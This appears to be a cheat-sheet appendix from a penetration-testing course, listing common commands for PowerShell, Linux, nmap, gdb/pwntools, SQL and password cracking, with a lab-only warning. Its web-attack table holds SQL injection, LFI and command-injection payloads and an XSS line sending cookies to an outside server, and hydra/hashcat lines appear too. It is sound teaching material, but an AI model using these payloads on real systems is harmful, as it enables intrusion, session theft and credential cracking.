Penetration testing
Appendix D. Cheat Sheets — Frequently Used Commands and Syntax
You have a saved reading position.
- Target reader: All levels (each table lists the related Steps)
- Purpose: Quick reference during labs, pre-exam checks, printable summaries
⚠️ Every command and payload in this appendix is for your own lab and legal platforms only. Using them against unauthorized systems is a crime.
This appendix gathers the commands and syntax scattered across the curriculum, organized by topic. For background and principles, follow the related Steps in each table — a cheat sheet aids the memory of your hands; it does not replace understanding.
D-1. PowerShell (Level 0)
| Command | What it does | Related Step |
|---|---|---|
Get-ChildItem (ls, dir) |
List folder contents. -Recurse for subfolders |
2 |
Get-Content file (cat) |
Read a text file. -Tail 20 for the end |
4 |
cmd | Where-Object { condition } |
Filter results through the pipe | 3 |
Get-Process / Get-Service |
Running processes / services | 13 |
Get-ItemProperty "HKCU:\path" |
Read registry values | 11 |
Get-WinEvent -LogName System -MaxEvents 50 |
Read event logs | 12 |
Get-ExecutionPolicy / Set-ExecutionPolicy |
Check / change script execution policy | 9 |
$var = value / $env:PATH |
Variables and environment variables | 7 |
Test-NetConnection host -Port 443 |
Test network connectivity | 6 |
D-2. Essential Linux Commands (Levels 0–2)
| Command | What it does | Related Step |
|---|---|---|
ls -la / pwd / cd |
List, locate, move | 18 |
find / -name "file" 2>/dev/null |
Find files (hiding errors) | 20 |
grep -rn "pattern" path |
Search by content (recursive, line numbers) | 20 |
cat A > B / cat A >> B |
Overwrite / append | 19 |
chmod 755 file / chown user file |
Change permissions / owner | 23–24 |
sudo cmd / sudo -l |
Run as admin / list your sudo rights | 24 |
ps aux / kill -9 PID |
View / kill processes | 26 |
apt update && apt install pkg |
Install packages | 21 |
ssh user@host -p port |
Remote login | 29 |
scp file user@host:path |
Copy files over SSH | 29 |
crontab -e / * * * * * cmd |
Schedule jobs (min hour day month weekday) | 28 |
tar -xzf file.tar.gz |
Extract archives | 21 |
D-3. Recon & Scanning (Levels 1–2)
| Command | What it does | Related Step |
|---|---|---|
nmap target |
Basic scan (top 1000 ports) | 81 |
nmap -sV -sC target |
Service version detection + default scripts | 81, 113 |
nmap -p- target |
All 65535 ports | 113 |
nmap -A target |
OS, versions, scripts, traceroute combined | 81 |
nmap --script=vuln target |
Vulnerability script scan | 114 |
ping -c 4 target / traceroute target |
Connectivity / path tracing | 36–37 |
ss -tulpn / netstat -an |
Open ports | 34 |
dig domain / nslookup domain |
DNS lookups | 33 |
ip a / ip r |
Your addresses / routing table | 31, 37 |
D-4. gdb & pwntools (Level 3 Pwn)
| Command / syntax | What it does | Related Step |
|---|---|---|
gdb ./binary → run, break main, continue |
Run, breakpoint, continue | 183 |
info registers / x/20gx $rsp |
View registers / dump the stack | 183–185 |
disassemble func |
Disassemble a function | 184 |
checksec ./binary |
Check NX, Canary, PIE and other protections | 187 |
from pwn import * |
Start pwntools | 188 |
p = process("./vuln") / remote("host", port) |
Local / remote connection | 188 |
p64(0xaddr) / u64(...) |
Address to 8 bytes / back (little-endian) | 188 |
p.sendlineafter(b"prompt", payload) |
Wait for a prompt, then send | 188–189 |
ROP(elf).find_gadget(['ret']) |
Find ROP gadgets | 205–206 |
elf.symbols['func'] / elf.got / elf.plt |
Symbol, GOT, PLT addresses | 207, 210 |
D-5. Web Attack Syntax (Levels 2–3)
| Category | Syntax / payload | Purpose | Related Step |
|---|---|---|---|
| SQLi detection | ' OR '1'='1 |
Authentication bypass test | 135 |
| SQLi column count | ' ORDER BY 1-- - (increase the number) |
Count columns | 136 |
| UNION extraction | ' UNION SELECT null,table_name FROM information_schema.tables-- - |
Dump table names | 136 |
| Blind (time) | ' OR IF(cond,SLEEP(3),0)-- - |
Observe invisible true/false | 137, 191 |
| sqlmap | sqlmap -u "URL?id=1" --dbs |
Automated extraction | 137 |
| XSS detection | <script>alert(1)</script> |
Test execution | 138 |
| XSS cookie | <script>fetch('http://myserver/'+document.cookie)</script> |
Session theft (lab only) | 139 |
| SSTI detection | {{7*7}} |
Template evaluation (49 = vulnerable) | 193 |
| Command injection | ; id / | id / $(id) |
Command insertion tests | 143 |
| LFI | ../../../../etc/passwd |
Path-traversal file read | 144 |
| JWT checks | jwt.io or john jwt.txt |
Check alg, crack weak secrets | 150, 197 |
D-6. Password Attacks (Level 2)
| Command | What it does | Related Step |
|---|---|---|
hydra -l user -P list.txt ssh://target |
Online brute force | 122 |
john hashes.txt --wordlist=rockyou.txt |
Offline cracking | 123 |
john --show hashes.txt |
Show cracked results | 123 |
hashcat -m 0 hashes.txt rockyou.txt |
GPU cracking (-m: hash type) | 124 |
hashid hash / hash-identifier |
Identify hash types | 123–124 |
D-7. SQL Syntax (Level 1)
| Syntax | What it does | Related Step |
|---|---|---|
SELECT col FROM table WHERE cond; |
Query | 92 |
INSERT INTO table VALUES (...); |
Insert | 92 |
UPDATE table SET col=val WHERE cond; |
Update | 92 |
DELETE FROM table WHERE cond; |
Delete | 92 |
SELECT ... FROM A JOIN B ON A.key=B.key; |
Join two tables | 93 |
ORDER BY col DESC / LIMIT 10 |
Sort / limit | 92 |
In Closing
These tables are the minimum toolkit of the most-used commands. For full options and principles, always return to the related Steps. Commands are not for memorizing — skill is knowing where to find them when you need them.
ONE STEP FURTHER
Finished this lesson?
Check the completion criteria, then mark your progress.